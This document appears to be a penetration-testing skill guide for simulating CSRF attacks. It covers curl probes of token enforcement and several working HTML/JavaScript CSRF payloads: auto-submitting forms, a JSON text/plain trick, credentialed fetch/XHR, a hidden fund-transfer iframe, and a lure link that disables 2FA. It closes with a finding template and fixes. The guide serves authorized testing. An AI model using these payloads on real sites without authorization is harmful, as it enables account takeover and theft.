Csrf Attack Smltn

Performing CSRF Attack Simulation

When to Use

• During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
• When testing the effectiveness of anti-CSRF token implementations
• For validating SameSite cookie attribute enforcement across different browsers
• When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
• During security audits of custom authentication and session management mechanisms

Prerequisites

• Authorization: Written penetration testing agreement for the target
• Burp Suite Professional: With CSRF PoC generator functionality
• Web server: Local HTTP server for hosting CSRF PoC pages (Python http.server)
• Two browsers: One authenticated as victim, one as attacker
• Target application: Authenticated session with valid test credentials
• HTML/JavaScript knowledge: For crafting custom CSRF payloads

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Identify State-Changing Requests

Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.

# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)

# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation

Step 2: Analyze Anti-CSRF Token Implementation

Test the strength and enforcement of any CSRF protections present.

# Check if CSRF token is present
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# Test 1: Remove the CSRF token entirely
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 2: Send empty CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
  -b "session=user_a_session" \
  -d "email=test@evil.com&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

Step 3: Check SameSite Cookie and Header Protections

Verify browser-level and header-based CSRF defenses.

# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None

# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)

# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with evil Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with spoofed Origin
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

Step 4: Generate CSRF Proof-of-Concept with Burp Suite

Use Burp's built-in CSRF PoC generator for rapid testing.

# In Burp Suite:
# 1. Right-click the target request in Proxy > HTTP History
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to validate the PoC

# Burp generates HTML like:

<!-- Auto-submitting CSRF PoC for form-encoded POST -->
<html>
  <body>
    <h1>Loading...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

Step 5: Craft Advanced CSRF Payloads

For JSON APIs and other non-standard content types, use advanced techniques.

<!-- CSRF for JSON API using form with enctype -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"attacker@evil.com","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- CSRF via XMLHttpRequest (requires permissive CORS) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "attacker@evil.com"}));
</script>

<!-- CSRF via fetch API -->
<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "email=attacker@evil.com"
});
</script>

<!-- CSRF via image tag (GET-based state change) -->
<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />

<!-- Multi-step CSRF with iframe -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

Step 6: Test and Validate the CSRF Attack

Host the PoC and confirm successful exploitation.

# Start a local web server to host the CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC file structure:
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC page
#   change-email.html   <- Email change CSRF
#   transfer.html       <- Fund transfer CSRF

# Testing steps:
# 1. Log in to target as victim user in Browser A
# 2. Open http://localhost:8888/change-email.html in Browser A
# 3. Check if the email was changed without victim's consent
# 4. Verify the state change in the application

# For SameSite=Lax bypass via top-level navigation:
# Use GET-based CSRF with window.open or anchor tag

<!-- SameSite=Lax bypass using top-level navigation -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">Click here for a prize!</a>
    <script>
      // Automatic click via social engineering context
      // SameSite=Lax allows cookies on top-level GET navigations
    </script>
  </body>
</html>

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Email Change Without CSRF Token

The email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.

Scenario 2: Fund Transfer with Token Bypass

The banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the csrf_token field from the transfer form allows cross-site fund transfer.

Scenario 3: JSON API CSRF via Content-Type Manipulation

A JSON API endpoint does not require a custom header. Using enctype="text/plain" in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.

Scenario 4: SameSite=Lax Bypass on GET State Change

A settings page changes state via GET request (/settings?disable_2fa=true). Since SameSite=Lax allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.

Output Format

## CSRF Vulnerability Finding

**Vulnerability**: Cross-Site Request Forgery (Email Change)
**Severity**: High (CVSS 8.0)
**Location**: POST /api/account/change-email
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Authenticate as victim at https://target.example.com
2. Host the following HTML on an attacker-controlled server
3. Trick victim into visiting the attacker page while authenticated
4. The victim's email is changed to attacker@evil.com without consent

### Anti-CSRF Defenses Tested
| Defense | Present | Enforced |
|---------|---------|----------|
| CSRF Token | No | N/A |
| SameSite Cookie | Lax | Partial (GET bypass) |
| Origin Validation | No | N/A |
| Referer Validation | No | N/A |
| Custom Header Required | No | N/A |

### Impact
- Account takeover via email change + password reset chain
- Unauthorized fund transfers
- Settings modification (2FA disable, notification change)

### Recommendation
1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests
2. Set SameSite=Strict on session cookies where possible
3. Validate Origin and Referer headers as defense-in-depth
4. Require re-authentication for sensitive operations (password change, fund transfer)
5. Use custom request headers (X-Requested-With) for AJAX endpoints